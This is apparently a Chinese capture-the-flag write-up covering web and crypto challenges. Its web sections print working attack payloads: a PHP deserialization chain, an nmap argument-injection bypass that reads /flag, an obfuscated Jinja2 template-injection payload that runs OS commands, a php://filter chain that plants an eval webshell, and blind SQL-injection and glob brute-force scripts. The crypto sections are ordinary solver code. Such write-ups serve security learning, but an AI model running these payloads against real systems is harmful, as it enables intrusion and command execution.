$a->qwe->asd = new important();
$args2 = array("her",'find');
$args = array('seeyou'=>$args2);
$a->qwe->asd->power = new useless($args);
$b = new SplQueue();
$b->push($a);
echo urlencode(serialize($b));
之后利用data伪协议绕过+原生类读取文件
读取flag
get:
user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A
3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22import
ant%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%2
2%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO
%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%2
2%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1
%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D
%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00ke
y%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A1
8%3B%7D%7D&file=data://text/plain,loveyou&fun=./
post:
ctf=FilesystemIterator
查到flag所在文件之后
访问flag_my_baby.php 即可得到flag
scan_tool
namp特性的利用
主要就是利用escapeshellarg函数处理命令会剔除不可见字符的特性可以使用不可见字符对过滤的option进行绕(需要利用burp发包)过,payload如下
'+-iúL /flag+-oúN+1.txt '(u不可见字符)
利用-iL参数将文件外带,利用-oN参数将结果写入当前目录的文件中,访问1.txt得到flag
klf_3
上一个的payload就能打
url/secr3ttt?klf={% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(glob=a,als=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set impo=(a,a,dict(imp=a,ort=a)|join,a,a)|join() %}
{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set sub=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set o=(dict(o=a,s=a))|join()%}
{% set en=(dict(po=a,pen=a))|join()%}
{% set ca=(dict(who=a,ami=a))|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set re=(dict(re=a,ad=b))|join()%}
{% set cc=(dict(ch=a,r=a))|join()%}
{%set get=dict(get=a)|join%}
{%set ch=()|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(built)|attr(geti)(cc)%}
{%set cmd=(ch(9%EF%BC%99),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%96),ch(3%EF%BC%92),ch(4%EF%BC%97),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%92),ch(1%EF%BC%91%EF%BC%92),ch(4%EF%BC%97),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93))|join()%}
{{a|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(en)(cmd)|attr(re)()}}
ezrfi
页面源代码提示可以看hint的py,尝试了许多次,目录穿越看到hint.py
原本很奇怪为什么不用加py看了源码才知道
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg
base64+尊嘟假嘟解密+rc4
得到文件包含逻辑是include($file.”.py”),你能找到flag文件位置吗??这下恍然大悟了
之后想到利用input伪协议往里面写马
我不太理解,网上搜到利用侧信道读取flag
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
跑脚本可得到一长串payload
后面地址稍微改一下,
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=../../hint
post的传参需要和脚本里的对应
# <?php eval($_GET[1]);?>a
之后就传马,利用就可以了
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}
ezsql
利用sys库获取表名和库名,最终payload如下
import requests
target_url = "http://47.108.56.168:1111/index.php"
payload_sql = '1')/**/and/**/(select/**/*/**/from/**/ctf.flll444aaggg9/**/limit/**/2,1)/**/like/**/binary/**/'{}%'#'
brute_force_dict = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+{}'
final_result = ''
while True:
current_data = ''
for char in brute_force_dict:
current_data = {'id': payload_sql.format(final_result + char)}
response = requests.post(url=target_url, data=current_data)
if 'Success' in response.text:
final_result += char
print(final_result)
break
Akane!
<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
public $Ruby;
private $Aquamarine;
public function __destruct()
{
$this->Ruby->func();
}
}
class Idol
{
public $Akane;
public function __wakeup()
{
$this->Akane = '/var/www/html/The************************.php';
}
public function __call($method,$args)
{
$Kana = count(scandir($this->Akane));
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
}
}
$a = unserialize(base64_decode($_GET['tuizi']));
?>
需要利用glob://伪协议爆破文件名
import requests
import base64
TARGET_URL = 'http://jqbp6wgag8rjj5793ersjt9qf.node.game.sycsec.com/?param='
CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
INITIAL_LENGTH = 49
NAME_EXTENSION = ''
for outer_counter in range(1000):
for inner_char in CHARACTER_SET:
encoded_payload = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{INITIAL_LENGTH}:"glob:///var/www/html/TheS4crEtF1AgFi1EByo2takuX{NAME_EXTENSION}{inner_char}*";}}s:19:"HoshinoAquamarine";N;}}'
encoded_payload_b64 = base64.b64encode(encoded_payload.encode('utf-8'))
full_url = TARGET_URL + encoded_payload_b64.decode('utf-8')
try:
response = requests.get(full_url)
response.raise_for_status()
print(encoded_payload)
if 'Kurokawa Akane' in response.text:
NAME_EXTENSION += inner_char
INITIAL_LENGTH += 1
print(NAME_EXTENSION)
break # Exit inner loop
except requests.exceptions.RequestException as error:
print(f'Error during request: {error}')
continue
else:
continue # Continue outer loop if inner loop is not broken
break # Exit outer loop
需要一点一点去手改文件名
最后可爆破出文件名是TheS4crEtF1AgFi1EByo2takuXX.php
访问可得到flag
##Crypto
SignIn
5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d… Hmm… Something goes wrong with my grettings bot.
义眼盯真。16进制ascii转化得到flag
proof_of_work
import hashlib
import re
import string
from itertools import product
def pass_POW():
rec = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'
table = string.ascii_letters + string.digits
suffix = re.findall(r'(XXXX+(.*?))', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None
pass_POW()
SimpleRSA
import gmpy2
from Crypto.Util.number import *
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert len(flag) == 35
p,q = [getPrime(2048) for _ in "__"]
n = p*q
e = 65537
c = gmpy2.powmod(bytes_to_long(flag),e,n)
print(p)
print(c)
#24724324630507415330944861660078769085865178656494256140070836181271808964994457686409910764936630391300708451701526900994412268365698217113884698394658886249353179639767806926527103624836198494439742123128823109527320850165486500517304731554371680236789357527395416607541627295126502440202040826686102479225702795427693781581584928770373613126894936500089282093366117940069743670997994742595407158340397268147325612840109162997306902492023078425623839297511182053658542877738887677835528624045235391227122453939459585542485427063193993069301141720316104612551340923656979591045138487394366671477460626997125944456537
#510345661718450375632304764819724223824018609359964259503762283253350010161515190912152623604019093266967095847334388281390406831587663253164256543905694021952211220652820225527413861208452760215767828927039893435528572148282529198773772864255061213208279999011194952146362748485103032149806538140693537361755210176698895104708379400806511907719904867068865970241208806615061055047254026118016836750283966478103987375361826198930529462261013324904522014804502582865716441828895047550041401172127129749969507853355531197814919603963664646220505672302543085959372679395717892060245461464861507164276442140407308832537707450729432224150754603518526288767105682399190438680085925078051459448618725871249563011864525585870188123725554411655044152994826056900502298772802133526591794328224932405680583757307064395792317383571866619582974377344736930271554160701478385763426091091686496788999588340419226785217028504684542197970387916262126278955278523452903043316452825738030645100271595942652498852506660789605846309602343932245435421425673058238785509280366229754404949219663043627431437755087855502139890639468481922788973821783957766433857773771229298328019250652625289700950165414584983487319078090573179470893450632419467111117341472
OTPTwice
from pwn import xor
from os import urandom
flag = b"SYC{Al3XEI_FAKE_FLAG}"
# step0: key generation & distribution
def s0(msg):
k1,k2 = [urandom(len(msg)) for _ in "__"]
return k1,k2
#
# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
c1 = xor(msg,k1)
return c1
# step2: Bob encrypt c1, and send it to Alice
def s2(msg,k2):
c2 = xor(msg,k2)
return c2
# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
c3 = xor(msg,k1)
return c3
# step4: Bob decrypt c3, get M.
def s4(msg,k2):
m_ = xor(msg,k2)
return m_
def encrypt(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
assert msg == m_
# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
if HACK == True:
print(c1)
print(c2)
print(c3)
k1,k2 = s0(flag)
encrypt_(flag,k1,k2)
'''
b'xdbixabx8dxfb0xd3xfe!xf8Xpyx80wx8cx87xb9'
b'oxb0%xfbxdbx0erx04xdexd1x9ax08wxda4x0fx0cR'
b'xe7x80xcdriaxb2xcax89x1ax9d;|#3xf7xbbx96'
'''
from pwn import xor
C1=b'xdbixabx8dxfb0xd3xfe!xf8Xpyx80wx8cx87xb9'
C2=b'oxb0%xfbxdbx0erx04xdexd1x9ax08wxda4x0fx0cR'
C3=b'xe7x80xcdriaxb2xcax89x1ax9d;|#3xf7xbbx96'
K1=xor(C2,C3)
K2=xor(C2,C1)
flag=xor(K1,C1)
print(flag)
OldAlgorithm
from Crypto.Util.number import *
import os
flag = b"SYC{Al3XEI_FAKE_FLAG}"
pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))
flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)]
c = [bytes_to_long(flag)%i for i in p]
print('p=',p)
print('c=',c)
'''
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
'''
from Crypto.Util.number import long_to_bytes
def chinese_remainder_theorem(c, p):
# 计算模数的乘积
N = 1
for i in p:
N *= i
result = 0
for i in range(len(c)):
# 计算每个模数的乘积
Ni = N // p[i]
# 计算模反元素
Mi = pow(Ni, -1, p[i])
# 计算部分解密结果
result += c[i] * Ni * Mi
# 取最小正整数解
flag = result % N
return long_to_bytes(flag)
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
flag = chinese_remainder_theorem(c, p)
print(flag)
easy_classic
套娃题,套麻了
第一层,凯撒16
udzeojxuwqcu
enjoythegame
第二层,w型栅栏密码 7
ialhhooavtepcyr
ilovecryptohaha
第三层,bas64
5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0
宇宙万法的那个源头
第4层,熊曰解密
熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒
never gonna give you up
第5层,先解emojihttp://www.atoolbox.net/Tool.php?Id=937%E8%BF%9B%E8%A1%8C%E8%A7%A3%E7%A0%81
👝👘👠👩👞👘👤👜
fairgame
之后Playfair解密http://www.metools.info/code/playfair_186.html
Polyrsa
import math
from Crypto.Util.number import inverse
n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089
e = 65537
c = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
e1 = 113717
e2 = 80737
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
q = math.gcd(n, pow(c1, e2, n)*pow(5,e1*e2,n) - pow(c2, e1, n)*pow(2,e1*e2,n))
p = n // q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(format(m,'x')).decode('utf-8'))
simple3DES
利用此脚本去解密key
import hashlib
import random
import re
import string
from itertools import product
def pass_POW():
rec = ('sha256(XXXX+6jbxZ9rzMp1TUoW8) == 026a6ac88c581d27a747a97a1be9eda6c3fb9809f8f63f26231965942df0d382')
table = string.ascii_letters + string.digits
suffix = re.findall(r'(XXXX+(.*?))', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None
pass_POW()
得到一串信息后解密
enc =37699681561444816228091816433931698303804192466855953956737310357621942568417
print(long_to_bytes(enc))
Just need one
import os
import random
import string
import hashlib
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|' * 70
if DEBUG:
print("==DEBUG MODE==")
def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x) != 4 or hashlib.sha256((x + proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True
try:
if not proof_of_work():
exit()
print(banner)
parms = [random.getrandbits(32) for _ in range(128)]
res = int(input('Give me x calculating f(x) :n> '))
if res >= 2**32:
print("Give me something smaller.n")
print(banner + 'n')
exit()
cnt = 0
for _ in range(128):
cnt += pow(res, _) * parms[_]
print(cnt)
ans = input('Give me Coefficients :n> ')
ans = [int(_) for _ in ans.split(",")]
if ans == parms:
print('Congrats! Your flag is:', flag)
else:
exit()
except Exception:
print("Something goes wrong...n")
print(banner + 'n')
exit()
此题也是交互密码题
交互给的sha值利用
import hashlib
import random
import re
import string
from itertools import product
def pass_POW():
rec = ('sha256(XXXX+6jbxZ9rzMp1TUoW8) == 026a6ac88c581d27a747a97a1be9eda6c3fb9809f8f63f26231965942df0d382')
table = string.ascii_letters + string.digits
suffix = re.findall(r'(XXXX+(.*?))', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None
pass_POW()
解密得到key
利用此脚本解密
c =644522675230551262962022805768743265557019728140215291560564896455789785027354340279127028270494198380551130333367982815989197783653401978718658433402972196681050880997841091239243298490206434440117432980290901778015567625930655161637391526793878989920983328476994356558910883470854961010339581875735946629131371136720940307084672501904639624533300732568957494002678375700933103376639461830184345242304406582425735084208660837622397087197730533273852878571680347110026278724032051439773223800566350784833673774438190734830141896892611264527053612823150522829202675945464347138478749891903814340894156535275730936156334634880669754997314327596949305302289963762294093239779320345742897879305937991893053676866202849607896739850552852988835565759851036370392052617441023673620481748210326311494647958709311077869956621887611720734437202890307100236699201535170189472382821413976442631241253444802116257271703117515521011962567970525756819489643850875375293590937175116998158211491039576427639833034248091589695914808211871454649736905879777643205986089256748706135021623975939191781342373180943898758727225799153260719390761599071590757375092246926995661497994837417927599055189462852774345418789277033022845432942056431198704948990350
y = 4294967295
coefficients = [0] * 128
for i in range(127, -1, -1):
coefficients[i] = c // (y**i)
c -= coefficients[i] * (y**i)
b = []
for i, coef in enumerate(coefficients):
b.append(coef)
print(b)
得道
2900802075, 3274763365, 1487626029, 3944483700, 2453856385, 4275048350, 3000054422, 803893057, 202989933, 1031693047, 2885494615, 111699238, 2421634007, 1481231116, 1471987977, 2169011154, 3224879067, 3503937782, 3170285719, 1824420987, 2648998316, 2346048075, 4125248886, 3531962209, 3069060650, 1788558729, 744442457, 1927768247, 2924384976, 281242657, 155461329, 4090788269, 2075379294, 3583237675, 1292792779, 3770229100, 3638984513, 3204292316, 645572615, 3196239310, 970004776, 453330341, 19768023, 1076047093, 2420041765, 2167385489, 3474609821, 4131070575, 2821573887, 2426812584, 80850134, 672346587, 4056611944, 1785094765, 2904170297, 1047663524, 4066122783, 1322316889, 3717916624, 1001017683, 3115229605, 1928183183, 3133561966, 44907196, 569665181, 853212441, 2706848757, 623306223, 1400782811, 2944067181, 2014775357, 3732046136, 4021003187, 215658089, 484553252, 2631816176, 1368213632, 2888633227, 351686449, 681497068, 2386826433, 2061076045, 1237006320, 1999487165, 878098470, 299581924, 3331215883, 692801479, 819377789, 720274491, 2945109249, 3126717639, 470516714, 382463961, 980214982, 2648166947, 853223170, 3411907602, 569047800, 2246904287, 3833297442, 292019794, 3986825899, 1817971576, 2996579025, 3913738396, 602680547, 2371245644, 1246374397, 2778695854, 2528336405, 2983239037, 2754510251, 2890258118, 786081292, 2290427574, 3440926708, 4283006159, 2695511986, 3259851436, 2537718972, 350147694, 415970295, 926240098, 3188940150, 2414349049, 3256809682, 2650548988
Fi1nd_th3_x’
from Crypto.Util.number import *
import gmpy2
from functools import reduce
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
